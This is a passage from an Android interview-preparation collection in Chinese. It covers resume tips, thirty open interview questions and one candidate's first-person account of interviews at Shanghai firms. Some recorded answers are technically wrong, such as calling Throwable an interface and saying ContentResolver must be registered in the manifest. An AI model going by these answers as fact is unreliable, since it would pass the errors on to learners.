源码解析：[AndroidSdkSourceAnalysis](https://github.com/LittleFriendsGroup/AndroidSdkSourceAnalysis)\n\n如果你有时间，你也可以参与到这个项目中去。\n\n#### 4. 梳理一下知识体系，找出薄弱环节\n\n总结、总结，再总结。\n\n总结是一个人非常重要的品质，在总结中思考自己的不足，完善自我。不仅适用于面试，也适用于职场，日常生活等等。常思考，才可能变成一个智慧的人。\n\n具体有哪些可能的薄弱环节，可以看下一篇整理的30个发散性问题。\n\n### 简历的准备：\n\n写好简历也是一个重要的环节。程序员最好常备一份简历，以备不时之需。另一方面，更新简历的过程中也会明白，哪些经历是无用功，哪些是加分项。\n\n#### 有几点\n\n1、尽量避免主观表述，少一点语义模糊的形容词，除非是大公司大牛，已经有成果撑腰，否则慎用「熟悉…」、「使用过…」\n\n2、多一点表意清楚，语气肯定的数量词、名词、成果描述。一定要将自己的优势和期望明晰地表达出来，便于招聘方能对候选人有更准确的定位：\n\n- 介绍技术：最近几份工作经历中所参与过的产品、项目、角色\n\n- 在工作中做的项目的技术细节\n\n- 克服过的技术难点与细节\n\n- 感兴趣的技术\n\n- 在程序马拉松上参加的项目或者是业余的个人项目（+link）\n\n- 如果领导过技术团队，写下带的团队的规模与管理风格\n\n- 介绍自己：过往有特点经历、擅长的方向、对互联网的理解、职业发展规划\n\n3、突出重点。重要的放前面，不重要的经历往后排。尽量注明每段经历的时间，不然技术官或hr会一头雾水。比如你面试 Android开发，iOS的经历就放后面一笔带过，另外时间越远的优先级也越低。对了，记得把联系方式写在开头，不然对方联系不到你，可就把你忘了。\n\n3、试试用markdown语法，注意下排版，预览再提交，版面整洁、干净，也是加分项。\n\n4、HR/技术负责人更喜欢看到一份显示「职业上升趋势」的简历。比如你做开发五年，跳过两三次槽。那么你的职位，你所做的技术难度应当是越来越具挑战，而不是依然罗列各种琐碎的需求实现。\n\n5、牛人讲结果，普通人讲过程。话虽如此，你只要不太啰嗦，该列出的事情还是要列出来的。不仅如此，你在该项目中发挥了什么作用，有什么反思，也可以写出来。记住，你出卖的不仅是技术，还有能力。\n\n#### 千万别…\n\n1、真实的反映你的工作，别浮夸。\n因为你的面试官之后一定会问起浮夸的事情，假如你不能自圆其说，会留下非常不好的印象。\n\n2、记得最好不要出现“**精通**”等词汇。\n很少有人能精通JAVA，精通数据库，这样的字眼基本等于自杀。好的办法是阐述事实。比如用JAVA开发过什么系统，在什么项目中深入接触数据库等等。\n\n3、简历上的所有技术，你必须谙熟于心。\n甚至你应当练习几遍，找出可能发散出去的所有问题。只有你非常熟悉，并且在面试中足够自信，你才有能力引导面试官问到你想要的坑中。\n\n4、简历长度不要超过三页。最好是两页这样一目了然，当然如果从业经历比较长，也可以多写点。\n\n5、别撒谎。天下没有不透风的墙。假如你不想让人知道什么，你可以不写；假如你在原公司的锻炼机会太少，那么你可以将经历写到自己的开源项目中去。\n\n## 三十道android开放题\n\n为姗姗来迟的安卓面试题表示抱歉。\n大家可以先思考一下这些问题，答案会过一阵在后文放出。\n\n### 基础题\n\n- Activity生命周期和启动模式，以及使用场景\n\n- Service的生命周期，如何启用/停用Service\n\n- 可能导致OOM内存溢出的情况有哪些，怎么解决\n\n- Android中的动画有哪几类，它们的特点和区别是什么\n\n- 注册广播几种方式\n\n- 如何自定义View\n\n- 程序crash的所有可能原因\n\n- android动画\n\n- Android操作系统分层\n\n### 中级题\n\n- Android事件处理机制\n\n- 内存泄露的案例\n\n- 图片加载库的使用及比较，内在逻辑分析\n\n- 网络库的使用和比较\n\n- android线程间通信\n\n- android进程间通信。Binder源码与Looper关系等\n\n- 设计模式在android中的应用，手写几个典型模式\n\n- annotation 以及java反射机制\n\n- Java虚拟机\n\n- Java几种线程池\n\n### 高级题\n\n- 热修复技术，原理及其应用\n\n- react native\n\n- 几种架构模式\n\n- 新建一个工程，需要加入哪些库和模块，该怎么设计\n\n有关测试： \n\n- DDMS + MAT\n- monkey test和logcat命令的常用过滤参数 \n- android作优化有哪些可以考虑的方向？\n\n### 开放题\n\n- 当我在浏览器中输入一个url，世界发生了什么。\n\n- http和https的区别\n\n- 几种加密方式区别，对称与非对称。\n\n- 你还了解什么其他的语言？和Java对比一下。\n\n> 原文链接：冰洁的技术博客，http://www.bingjie.me/"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/技术硬碰硬—阳哥带你玩转上海Android招聘市场.md",
    "content": "# 1. 挑战公司No.1：上海创梯信息科技有限公司\n\n公司地址：上海杨浦区昆明路1209号尚凯大厦副楼504室\n\n面试时间：5月12日 10:00 AM.\n面试结果：顺利砍下Android技术总监，15K offer\n面试过程：\n10:00 到公司，前台MM给了张面试人员登记表，10分钟搞定表格。\n10:30 由于公司BOSS正在面试其他人，因此，又等了几分钟。\n10:40 在BOSS办公室与BOSS斗智斗勇，聊了有接近1个小时。\n\n疯狂的笔试+面试记录（前方内容“高能”:funk:，请准备高度精神集中前行）：\n\n## 1. 笔试\n\n由于BOSS正在打造公司新业务，刚刚开始组建公司技术团队，公司没有人懂IT技术，故本次面试没有笔试题，额\n\n## 2. 面试过程问答精选：\n\n旁白：进入办公室后，我淡定等待，约莫几分钟后，一位35岁左右，看起来非常老道的BOSS走了进来。几句寒暄之后，问了我一些关于我的学校、专业、工作经验、接触的Android项目等普通流水线式的没有营养问题，轻松搞定！接着，BOSS终于切入到了重点：\n\nBOSS问：其实我们想做一个快递业务的APP，类似于滴滴打车。用户如果想要寄快递，只需要打开APP，查找附近都有哪些快递员，然后直接跟附近的快递员联系。如此，既能方便用户，又能提高快递员的收入。\n\n我（阳哥）答：我有一个问题想要问一下，咱们公司（注意，一定要说“咱们”，让别人感觉你已经融入他们的公司团队了）不像顺丰，不是典型的物流公司，为什么我们要做快递类的APP呢（主动沟通交流，有问题就问，这样面试官才能跟你聊起来！）？\n\nBOSS答：你知道的那些物流公司现在都是各自为政。例如，你用顺丰快递，你可以下载个顺丰的APP。但是，你以后可能还要用中通、申通、圆通等等这些物流公司，难道你要下载十几个APP吗？而我们要做通用的快递类APP！\n\nBOSS问：你知道一个APP重要的是什么吗？\n\n我（阳哥）答：用户体验！\n\nBOSS说：不对，是流量，也就是用户数量（好吧，阳哥作为技术屌丝，关注多的就是APP用户体验，所以，不敢去反驳他，先顺着他的意思来）。\n\nBOSS问：如果让你去做一个类似于滴滴打车的APP，你认为自己做的出来吗？\n\n我（阳哥）答：像滴滴打车这样的APP，不仅仅只是客户端的问题。它不是由几个简单的客户端程序员就能做出来的，实际上，它应该是由一个技术团队完成的大型项目。您目前能够看得见的仅仅是用户客户端，看不见的是庞大的后台系统。说详细点就是：滴滴打车这样的项目应该分3部分：服务器端，用户客户端，出租车司机客户端。服务部端考虑的是数据的存储，业务的调度处理，以及与各个客户端的数据交互。而用户客户端我个人理解主要是一个UI的显示和与用户数据交互的功能。比如，用户将自己的当前坐标发送到服务器端（当前坐标可以通过百度地图、高德地图获取），服务器根据用户的坐标查找附近的所有空闲状态的出租车，然后将用户的用车需求推送到出租车司机客户端端。出租车司机接收到信息后，如果愿意接这笔单子，就向服务器发送同意信息。服务器就是作为一个中介将用户与出租车司机联系起来。大概逻辑就是这样一个过程，中间的技术细节比较多。总之，一个人做滴滴打车是不太现实的（大家可以看出来，这一段，阳哥是傻瓜式教学，没有说的太复杂，好让BOSS能够听明白。不然，技术说的太深，BOSS就不知道说什么了，还怎么聊的开心。面试的最终目的就是让对方觉得看你很顺眼，这是关键！）。\n\n（顺便啰嗦一下，黑马的Android课程中有部分JavaWEB课程。我们做为APP开发人员，不管是服务器端还是移动端都应该有所了解。如果仅仅会移动端开发技术而不懂服务端知识，长久看来，确实会很影响Android程序员向更高层次发展。）\n\nBOSS问：那么，如果我让你负责客户端的开发呢？\n\n我（阳哥）答：客户端Android开发并不难，比如支付宝是一个很强大的金融系统。但是，你让我做它的Android端开发，我感觉我没问题。毕竟，Android客户端重点是信息的展示和与用户的交互。所以一个人做客户端是没有问题的。但是，目前市场上的企业很少有一个人做一个客户端项目的。市场竞争如此激烈，一个人做耗时太长，可能你还没有做出来，产品已经被淘汰了。因此，应该多招几个Android程序员，这样团队就算有人员流失也不会影响整个公司的发展（展示自己对于项目组人数把控的个人看法）。\n\n旁白：几轮PK下来，BOSS基本上对我已经很信服了。\n\nBOSS说：其实，在面试你之前，我已经招聘到了两个移动开发的程序员，一个是Android程序员（6K），一个是iOS程序员（8K），你可以看一下他们两个的面试登记信息和他们的简历。\n\n我（阳哥）问：根据这两份简历可以看出来，这两个人的技术有些一般（不是装逼，他们的简历写的确实有点LOW）。\n\nBOSS问：是的，我看的出来，你的经验要比他们丰富地多。所以，我准备让你出任我们公司的技术总监，带着他们两个做客户端开发，你认为你有信心做好吗？\n\n我（阳哥）答：这个职位我以前没有做过，所以心里没有多大的底（阳哥认为这样的问题确实比较考验人，你直接回答“可以，没问题”，就会显得你浮夸、不谨慎、办事不牢靠。如果你直接回答“不能”，又显得你不敢担当，没有上进和挑战的精神。因此回答这样的问题必须两者兼顾，既要谦虚谨慎又要表现出富有挑战精神）。\n\nBOSS说：我知道你没有做过，但是，一个人挑战任何一样新工作之前都是没有做过的。你有没有想过一旦你能够胜任我们的公司的技术总监，你以后的身价将和现在完全不同，所以，对自己要有一些信心（BOSS故意画大饼，就说明你有戏了！）。当然，这是一个管理岗位，需要什么样的技术人员你可以招。\n\n我（阳哥）说：好吧，其实我希望挑战一下，但是我不一定能够达到您对我那么高的期望（始终保持谦虚的态度很重要！你的态度决定别人对待你的态度！）。\nBOSS问：你尽力就好，请问你的期望月薪是多少？\n\n我（阳哥）答：15k（第一次面试，我心里也不太清楚上海的市场，15k一般是黑马班里的大神级同学要的薪资，所以，试水一下）。\n\nBOSS说：好的，没问题（竟然没有砍价:L，额，土豪公司）。\n\n旁白：随后，阳哥又和BOSS聊了一些其他内容，由于BOSS马上要开会，就告诉阳哥如果你同接受我们的邀请，那么我希望我们明天下午可以好好聊聊。。。。之后，一堆寒暄，不列出来了。虽然，第一家面试就这样结束了，没有技术上太多的PK。但是，却使阳哥在精神上却得到了巨大的鼓励，面试第二家上海公司有了更大的信心！\n\n## 面试吐槽\n\n阳哥的上海处女面就这样丢掉了！遗憾的是BOSS不太懂技术，没有碰撞出技术的火花。但是，让人幸运的是他提供给我了一个技术总监的岗位。整个过程可以看到，面试的时候，面试官一方面会明中考察我们的技术。另一方面，在暗中实际上也在考察我们的沟通能力、思维逻辑能力、管理能力等这些软实力。所以，黑马的每一位达人，在黑马拼命码代码的同事，别忘了多和你的小伙伴分享技术，不要忘记中午的时候抓住每一次的公开演讲机会。有时候，一个人综合实力远大于单纯的技术竞争力！加油吧，骚年们！\n\n# 2. 挑战公司No.2：上海复深蓝信息技术有限公司\n\n公司地址：上海市徐汇区漕河泾开发区虹梅路2007号1号楼\n\n面试时间：5月12日 14:00 PM.\n面试结果：顺利砍下Android工程师，17K offer+1K补助 = 18K 月薪:victory:\n面试过程：\n\n14:00 到公司，前台MM给了一张面试登记表和一张Android笔试试题，然后一位和蔼的大叔（技术大拿）将我带公司接待处，让我开始笔试。\n\n14:20 笔试完成，笔试很简单，做完后把试题交给前台，前台帮我联系面试官。\n14:25 跟一个年龄大概在25~30岁之间的年轻技术官进行了接近1个小时的面试（通过交谈阳哥感觉面试官应该是项目经理或者开发组组长）。\n\n15:20 人事面试，人事面试后提前跟我说CTO会对我进行一个电话复试。\n\n第二天晚上大概19:00，公司CTO对我进行了技术复试，总共持续了31分钟。电话复试题要比初试难的多了，姜还是老的辣。我把复试的对话录音保存下来了，作为以后上海黑马就业指导课程的案例讲解（内容何止“高能”，简直就是高达！）。\n\n疯狂的笔试+面试记录（前方内容“残酷”:funk:，请准备受虐心态前行）：\n\n## 1. 笔试\n\n笔试时出现了一个小插曲，和大家分享一下。阳哥笔试所在的接待区是一个半开放式的区域，共有3张桌子，每张桌子上都有一支签字笔。我先用第一张桌子，发现笔是坏的（郁闷），然后换到第二张桌子，发现笔还是坏的（心想：尼玛，这么霉，顺便汗一下），最后只能换到第三张桌子，你猜怎么滴，对，笔还是坏的（想要骂娘了，FUCK！）。没辙了，翻遍我的背包，自己也没带笔。难道企业是用这种方式考察一个应聘者的吗？这怎么办？\n\n我想去前台借吧，前台肯定有（不要去人事那里借，前台毕竟只是前台，不会管你太多的细节，人事可就不一样了，他们会认为一个面试者来比试不带笔是极不严肃的表现）。热心的前台MM很乐意地把自己的笔借给了我（心里一阵暖啊！这家必须拿下！）。\n\n为了方便大家更清晰的看到笔试题目，阳哥手录笔试题和答案，看你能做对多少？！\nQ：Android的四大组件有哪些？\nA：Activity、Service、ContentProvider、BroadcastReceiver。\n\nQ：请描述下Activity的生命周期？\nA：onCreate、onStart、onResume、onPause、onStop、onDestroy、onRestart。\n\nQ：如何将一个Activity设置成窗口模式？\nA：将Activity的样式设置成：android:theme=\"@android:style/Theme.Dialog\n\nQ：如何退出Activity？如何安全退出已调用多个Activity的Application？\nA：调用Activity的finish方法可以退出当前Activity。可以自定义一个Application，在Application中声明一个成员变量ArrayList用于存放打开的Activity，当退出时遍历ArrayList，依次调用Activity的finish方法。\n\nQ：请介绍下Android的五种布局。\nA：LinearLayout、RelativeLayout、FrameLayout、RelativeLayout、TableLagout\n\nQ：请介绍下Android的数据存储方式。\nA：SharedPreference、XML、SQLite、文件系统\n\nQ：DDMS和TraceView的区别。\nA：DDMS 的全称是Dalvik Debug Monitor Service，是 Android 开发环境中的Dalvik虚拟机调试监控服务。TraceView是程序性能分析器\n\nQ：说说Activity、Intent、Service以及他们之间的关系。\nA：Activity负责界面的显示和用户的交互，Intent封装了数据，可以实现Activity之间以及Activity和Service之间数据的传递。Service运行在后台进程，一般我们会让给其运行一些后台任务，Activity通过StartService（Intent）或者BindService（Intent）可以启动Service。\n\nQ：请介绍一下ContentProvider是如何实现数据共享的。\nA：我们可以定义一个类继承ContentProvider，然后覆写该类的insert、delete、update等方法，在这些方法里访问数据库等资源。同时将我们ContentProvider注册在AndroidManifest文件中，其他应用需要使用的时候只需获取ContentResolver，然后通过ContentResolver访问即可。\n\n## 2. ROUND 1：PK项目经理技术面试问答精选\n\n项目经理问：Activity都有哪些生命周期？\n我（阳哥）答：这个问题其实在笔试题中我已经给出答案了（此时，阳哥表示非常疑惑~）。\n项目经理说：我知道，你再说一遍。\n\n旁白：当时阳哥我真没搞明白，为何笔试上的题目他还是问我一遍，而且笔试上的好几道题他都重复问了一遍。现在想想应该是他怀疑我笔试的时候作弊了，比如我可以百度什么的。好吧，我不就是笔试的时候出去跟前台妹子借了一支笔，然后又把笔试题给拍了个照片而已嘛。而且，我那3G的联通定制机安装的移动4G的卡，只能享受2G的网速，我打开个百度都得几分钟。算了，不能和面试官较劲！我忍！\n\n我（阳哥）答：Activity有以下生命周期回调方法，比如常用的有onCreate、onStart、onResume、onPause、onStop、onDestroy、onRestart。默认情况下，如果我们不给Activity设置横竖屏配置信息的话，在横竖屏切换时会将一个Activity销毁掉然后重新创建。\n项目经理问：Fragment你用过吗？\n\n我（阳哥）答：这个当然用过呀。现在的应用中基本都有Fragment的应用，Fragment比较小巧灵活。\n\n项目经理问：那Fragment跟Activity之间是如何实现值传递的？\n\n旁白：其实项目经理在问我会不会Fragment的时候，我已经预料到接下来会问我Fragment跟Activity直接的值传递问题。对于前面的问题，如果我说不会，就不会有下面的问题，但是如果说不会的话，那么项目经理很可能因为这一个问题而把我PASS掉，因为Fragment是Android中一个非常重要的知识，这个是必须会的（黑马的Android基础课程中有一天就是讲Fragment的）。如果连这个都不会，那么再好的面试技巧也挽救不了同学们的！\n\n我（阳哥）答：Activity可以先获取FragmentSupportManager或者FragmentManager，前者是v4包下的，向下兼容因此用的比较多。然后这些Manager通过Fragment的tag或者id调用findFragmentByTag(\"tag\")，findFragmentById(\"id\")找到我们需要的Fragment对象，然后通过调用Fragment对象的方法来进行值的传递。\n\n项目经理问：Android中都有哪些组件需要在清单文件中注册？\n\n旁白：四大组件是学习Android的必会知识点，也是黑马Android基础中的重点内容，因此这个问题同学们其实应该是很好回答的！\n\n我（阳哥）答：一般来说四大组件都需要在AndroidManifest.xml中进行注册，不过其中Activity、Service、ContentResolver是必须注册的，而BroadCastReceiver可以在清单文件中注册，也可以不注册，这也分别叫做静态注册和动态注册。\n\n旁白：在Android中一般通过XML文件注册的组件，我们叫静态注册，而通过代码注册或者创建的组件我们叫做动态注册。动态注册和静态注册这两个名称听起来很高大山，其实理解起来so easy滴！\n\n项目经理问：你自己有做过自定义控件吗？\n\n我（阳哥）答：自定义控件做过，比如我们项目中的SlideMenu，LazyViewPager，Pull2RefreshListView，VerticalSeekbar,RandomLayout等都是自定义控件。\n项目经理问：那你说说View的绘制过程？\n\n我（阳哥）答：View绘制是从根节点（Activity是DecorView）开始，他是一个自上而下的过程。View的绘制经历三个过程：Measure、Layout、Draw。\n\n旁白：黑马的老版本课程体系中有2天的自定义控件，在这两天课程中同学们能够学会SlideMenu，Pull2RefreshListView，优酷菜单等自定义控件，目前的黑马课程又对自定义控制进行了加强，添加了多种QQ5.0新特性内容，当然难度其实也不小。\n\n项目经理问：ListView你们应该有用过吧？\n\n我（阳哥）答：这个在我们的项目中应用的很多，其实在如今所有流行的App中，ListView都有一个大量的应用，说ListView是一个使用率高的控件都不为过。\n\n项目经理问：ListView的优化你们是怎么做的？\n\n我（阳哥）答：ListView的优化有多种多样的策略。在我们的项目中主要做了如下优化。1、重用ConvertView，2、给ConvertView绑定ViewHolder，3、分页加载数据，4、使用缓存。前两个是通用的解决方案，后两个是针对我们业务的个性化解决方案。我们的数据来自服务端，如果服务端有1000条数据的话，我们客户端不可能傻瓜式的一次性用ListView把这些数据全部加载进来，因此我们就用分页加载数据，每次加载20页，当用户请求更多的时候再获取更多数据，网络的访问就算网速再快也多多少少会有一定的延迟，因此我们的网络请求是异步处理的，同时从网络加载来的数据使用了2级缓存来处理，第一级是内存级别的缓存，第二级是本地文件的缓存。当ListView加载数据的时候首先从内存中找，如果找不到再去本地文件中找，只有都找不到的情况下才去请求网络。\n\n旁白：ListView的优化是黑马课程一个重要的知识点，因此大家上课的时候这个必须得学会，不然在以后的面试中肯定会栽跟头的。\n\n## 3. ROUND 2：第二轮PK CTO（非人类）技术面试问答精选\n\n旁白：第二轮技术复试是在第二天晚上7点时开始的，当时，阳哥我刚从外面面试完回到家中。跟我聊的是他们公司的CTO，通过聊天也能感受到他的技术非同寻常，前几个问题问我时感觉多方有种咄咄逼人的气势（貌似面试的人太多了，对于被面试人员都是不屑的口气）。不过几轮技术PK后，发现原来CTO对人类也可以这么温柔和气的（尼玛，技术好才能被人看得起啊！心底话！）。\n\nCTO问：说说你对泛型的了解？\n\n我（阳哥）答：泛型是jdk5.0版本出来的新特性，他的引入主要有两个好处，一是提高了数据类型的安全性，可以将运行时异常提高到编译时期，比如ArrayList类就是一个支持泛型的类，这样我们给ArrayList声明成什么泛型，那么他只能添加什么类型的数据。第二，也是我个人认为意义远远大于第一个的就是他实现了我们代码的抽取，大大简化了代码的抽取，提高了开发效率。比如我们对数据的操作，如果我们有Person、Department、Device三个实体，每个实体都对应数据库中的一张表，每个实体都有增删改查方法，这些方法基本都是通用的，因此我们可以抽取出一个BaseDao<T>，里面提供CRUD方法，这样我们操作谁只需要将我之前提到的三个类作为泛型值传递进去就OK了。而数据的安全性，其实程序员本身通过主观意识是完全可以避免的，何况某些情况下，我们还真的想在ArrayList中既添加String类型的数据又添加Integer类型的数据。\n\nCTO问：你知道Java的继承机制吗？\n\n我（阳哥）答：知道呀，这个问题很简单呀！java是单继承多实现呀。\n\nCTO问：那你知道java为何这样设计吗？\n\n旁白：从上面的问题也可以看出越是资历老的程序猿越喜欢刨根问底，因此如果同学们面试的时候遇到一个年龄稍微大点的程序员，那么一定要提前做好思想准备了，他可能先问你一个看似很简单的问题，然后再追问一个很深的思想或者原理。\n\n我（阳哥）答：为何Java这样设计，其实这也是我一直的一个小疑惑。不过我是这样理解的。我只能用反证法，如果一个类继承了类A和类B，A和B都有一个C方法，那么当我们用这个子类对象调用C方法的时候，jvm就晕了，因为他不能确定你到底是调用A类的C方法还是调用了B类的C方法。而多实现就不会出现这样的问题，假设A和B都是接口，都有C方法，那么问题就能解决了，因为接口里的方法仅仅是个方法的声明，并没有实现，子类实现了A和B接口只需要实现一个C方法就OK了，这样调用子类的C方法时，Java不至于神志不清。从另外一个方面考虑的话应该就是Java是严格的面向对象思想的语言，一个孩子只能有一个亲爸爸。\n\nCTO问：Java的异常体系你知道吗？\n\n我（阳哥）答：知道呀，顶层是Throwable接口，往下分了两大类，一个RunntimeException另一个是普通的Exception。\n\nCTO问：那你知道这两类异常的区别吗？\n\n我（阳哥）答：当然知道，java的命名是见名知意的。从名字上我们也知道RunntimeException就是运行时异常，在运行的时候才能被jvm发现导致程序的终止，而普通Exception必须进行try、catch处理，或者在方法上用throws声明。\n\nCTO问：那你的期望薪资是多少？\n\n我（阳哥）答：我期望的薪资已经给贵公司人事说过了，是17k。\n\nCTO问：你这么年轻，就想要到17k呀！\n\n我（阳哥）问：对的，我是还年轻，高中同样是学习3年，有的考上了重点大学，有的却只考上了个大专院校，甚至落榜，不同的人学习能力是完全不一样的，甚至可以用天壤之别来形容，因此如果只简单的用时间来衡量一个人的价值显然就是不太合理的，比尔盖茨跟我这样大年龄的时候已经是亿万富翁了，而我还在找17、18k薪水的工作（前面的问题已经回答的这么漂亮了，谈薪水的时候一定要表现出绝对的自信！）。\n\nCTO问：你说的对，不过我还得问你几个问题，你说你们项目中有用到图片吗？\n\n我（阳哥）答：这个当然有呀，我们新闻客户端基本上每条新闻都有图片，只有图文并茂的新闻才会有人看。\n\nCTO问：那你说你们遇到OOM异常吗？\n\n我（阳哥）说：这个前期的时候我们的APP确实遇到过这样的问题，不过现在新的版本早就吧这些问题给解决了。\n\nCTO问：那你们是怎么解决的？\n\n我（阳哥）答：OOM异常是Android中经常遇到的一个问题，程序员稍微不注意可能就导致其产生。因为Android的每一个应用都是一个Davlik虚拟机，该虚拟机的默认堆内存只有16M，远远无法跟我们的PC机比较，因此和容易导致OOM（Out Of Memory）异常的产生。导致这样的异常主要有以下原因：1、加载大图片或数量过多的图片，因为图片是超级耗内存的，2、操作数据库的时候Cursor忘记关闭，3、资源未释放，比如io流，file等，4、内存泄露。我们用用的OOM主要是加载图片导致的。因为后面的三种原因都是可以通过约束程序员的编码规范来进行预防，或者使用性能分析工具来检查。\n\nCTO问：好的，那你们的图片是怎么处理的？\n\n旁白：随后这就是CTO面试应聘者的一个习惯，他会追着一个知识点往死里问，直到问到系统的底层，或者他能理解的底。\n\n我（阳哥）答：图片的处理主要用两种方式。我们的应用中有两处用到了图片，一个是ListView中展示的图片缩略图，这种情况的特点是数量大，但是单个图片内存小，只有几kb，另外一种是大图片，就是用户通过手机拍摄的图片，然后通过http的post提交的方式提交到服务器上。然后在客户端将这个大图片也展示出来。对于第一种情形，我们是通过三种技术手段来解决问题的，一是图片的缓存策略，二是ListView的优化，其实在上面我已经讲过，三是WeakRefrence(弱引用)的使用。对于第二种情形，我们主要是首先通过BitmapFactory.Options参数获取图片的宽和高，然后再根据我们ImageView的宽高对图片进行一个很大比例压缩。\n\nCTO问：那你说说弱引用是怎么使用的？\n\n我（阳哥）答：WeakRefrence是一个类，在ArrayList中我们把这个类作为对象传递进去，把我们的图片放在WeakRefrence里面，这样当davlik虚拟机内存不够用的时候，就会把WeakRefrence对象回收掉，这样我们在WeakRefrence里面保存的数据也被回收了。\n\n## 面试吐槽\n\n阳哥在上海的第二面终于遇到懂技术的人，把笔试、技术一面、人事、技术二面一气呵成的通了个关，不拖泥带水，最终人事给了基本薪资17k+1k多补助的offer，这种感觉也许只有你经历过了才能体会吧！相信黑马学子经过四个月的刻苦磨练也能远远超过我的水平。加油吧，骚年们！\n\n这家公司所在楼有两层是高德地图的！\n\n阳哥冒死偷拍的笔试题！\n\n阳哥录用通知邮件！\n\n\n# 3. 挑战公司No.3：中阜投融资产管理股份有限公司---中投融\n\n公司地址：上海市静安区威海路228号招商局广场南楼21楼\n\n面试时间：5月12日 16:30 PM.\n面试结果：顺利拿下Android工程师，15K offer+1k住房补贴=16k:victory:\n面试过程：\n\n16:30 到公司，因为这一天安排了3家面试，这家本来是安排的16:00的，但是迟到了半个小时，不过企业招人都比较急，这个可以理解。\n16:30~16:40 填写面试登记表，这家没有笔试题，填完后坐在公司前台附件的沙发上等了几分钟，桌子上放了一盘水果糖，诱人，也不敢吃，哈哈。\n16:40~17:15 跟一位Android程序员进行第一轮PK。\n17:20~17:50 跟项目经理进行第二轮PK。\n17:50~18:00 跟人事谈薪资。\n\n疯狂的笔试+面试记录（前方内容“高能”:funk:，请准备高度精神集中前行）：\n\n## 1. 笔试\n\n这一家没有笔试题，其实阳哥发现一个规律，一般Android开发团队刚刚组建的，或者Android开发人员不多的企业基本都没有笔试这一环节，这可能是他们公司的Android开发团队各方面还没有形成一套标准的流程原因吧。\n\n## 2. 第一轮技术面试过程问答精选\n\n旁白：面试我的哥们儿比较腼腆，也许是他也刚进公司没多久的缘故，好像才4个月的样子。他主要问了我都做过哪些Android项目，怎么学习的Android，都做过哪些Android控件，然后他又问了一个他们公司目前正在做的项目遇到的一个难题，问我怎么解决。\n\nPS：最后这个问题，阳哥感觉他并不是在考察我的技术，而是以请教我问题的态度在向我咨询了。面试能面到这种程度，基本已经有戏了。\n\n面试官问：介绍下你都做过哪些Android项目？\n\n我（阳哥）答：这自己主要做过3个项目，新闻类的，应用平台类的，手机管理类的，其中自己参与多也做的成熟的是新闻类的一款App。\n\n旁白：上面的三种类型的项目，都是黑马Android课程体系中的教案，因此介绍项目基本没压力。\n\n面试官问：那你在项目的开发中担任一个什么角色？\n\n旁白：这样的问题其实很多面试官都问我了，感觉被问到的概率有80%，此种问题显然是想考察我们的担当能力，技术担当和责任担当。在上海黑马66期的开班典礼上，我是这样给大家说的，我们66期有70多位同学，我们班分成10个小组，每个小组选出一名组长，组长负责全组的学习，组长不是固定不变的，每周考试一次，每次考试成绩高者为组长。每次考试如果这个组的平均分在班排名低的，组长得无条件接受惩罚。在黑马，没有个人排名，只有团队排名，我们更注重团队的协同能力，而不注重个人的表现。\n\n我（阳哥）答：我在这个项目中属于主要参与者之一吧，或者说是主要负责人，我们Android项目不像是javaweb项目那样需要大量的程序员，像我们的项目，总共2到3个程序员3个月功夫就能搞定，因此我们几个人也没有绝对的说谁领导谁。不过这样的项目，让我们任何一个人去开发都是很OK的，只是时间问题。\n\n面试官问：你们用什么代码管理软件？\n\n我（阳哥）答：SVN。\n\n旁白：在黑马有专门的一节课是讲SVN和Git的，并且后面的项目也是用SVN跟大家进行代码共享的。\n\n面试官问：你学习Android的途径都有哪些？\n\n我（阳哥）答：现在是互联网时代了，不像我们大学时代主要通过书本学习。在大学的时候选修的Java课程，那时候还是诺基亚时代，图书馆的移动开发书架基本是被诺基亚的塞班占据的。自己大学毕业的时候Android已经开始风靡全国了，那时候自己从网络上看到的Android开发的各种视频，然后开始学习的Android。自己在Android的开发中遇到的各种问题一般都是靠百度解决的，说度娘是好老师真不为过，其实也用过Google，不过被屏蔽了，也懒得翻墙，百度现在做的也不差，百度出来的Android技术主要来自如下专业网站，比如：CSDN、51CTO、ITEye、AndroidBus、EOEAndroid等，对了还有一个国外的没有被屏蔽的网站是Github，我们项目中的很多控件其实都是从Github上学习过来的。\n\n面试官问：那你从Github上都用到过什么控件？\n\n我（阳哥）答：Github上的开源项目非常的多，基本上你想用的东西都有，比如xUtils、HelloCharts、Clander、SlideMenu、SeatTable、LDrawer、SmoothProgress、Touch Gallery、ViewPagerIndicator。\n\n面试官问：你自己有做过自定义控件吗？\n\n我（阳哥）答：自定义控件做过，比如我们项目中的SlideMenu，LazyViewPager，Pull2RefreshListView，VerticalSeekbar,RandomLayout等都是自定义控件。哦，对了，最近我刚给我女朋友还做了一个HideSlideBar控件，我可以让你看一看。里面主要由VerticalSeekBar+ProgressBar+NineOldAnimation完成的。\n\n旁白：我把我自己做的自定义控件给他演示了一遍，这个是我女朋友项目中需要用的一个需求，她不会做，我帮她写了一个Demo，没想到正好用上了。\n\n面试官问：哦，不错，你这个动画用的是属性动画吧？\n\n我（阳哥）答：对的，这个属性动画，用了JakeWharton大神的开源框架。不过这个属性动画其实自己写也可以，内部原理比较简单，就是给控件设置一个开始位置，一个结束位置，设置一个延时时间，然后不停的更改控件的layout位置即可。\n\n旁白：这个东西在黑马的项目中都有讲解，回答不难，在Android应用中我们会用到很多第三发的框架，我们不仅仅要会用别人的东西还必须知道别人写这个东西的内部原理。\n面试官问：那好，现在我们有个项目遇到一个问题，你看如果让你做你应该怎么去解决？\n旁白：这时候，阳哥已经感觉到自己已经PK成功了。不过面试官性格也不错，遇到问题善于寻求外界的任何帮助。\n\n我（阳哥）答：可以的，什么需求您讲吧，我听听。\n\n面试官问：我们的项目中有多个Fragment，Fragment A跳转到Fragment B，Fragment B跳转到FragmentC，那么这时候我多次按返回键，如何能让Fragment跟Activity的任务栈一样，依次从FragmentC跳转到FragmentB，再跳转到FragmentA？\n\n旁白：这个确实是需要比较棘手的问题。其实面试官也知道你没有做过类似需求的开发，事实也是这样。这就比较考验临场发挥能力了。这种问题可以从模仿Activity任务栈考虑解决。任务栈是一种数据结构，我们可以自定义这种数据结构，然后管理这个数据结构，但是每个Fragment都是独立的，如何把这些独立的Fragment关联起来，这都是需要考虑的问题。\n\n我（阳哥）答：这个需求应该很好实现。我们可以这样，首先定义一个BaseFragment，让FragmentA、FragmentB、FragmentC都继承BaseFragment，第二在BaseFragment中定义一个ArrayList，每打开一个Fragment，把这个Fragment对象添加到ArrayList中，这样这个ArrayList就可以当做一个栈结构，第三我们需要设置返回键监听，当监听到返回键的时候，查看当前ArrayList中倒数第二个Fragment有没有Fragment，如果有则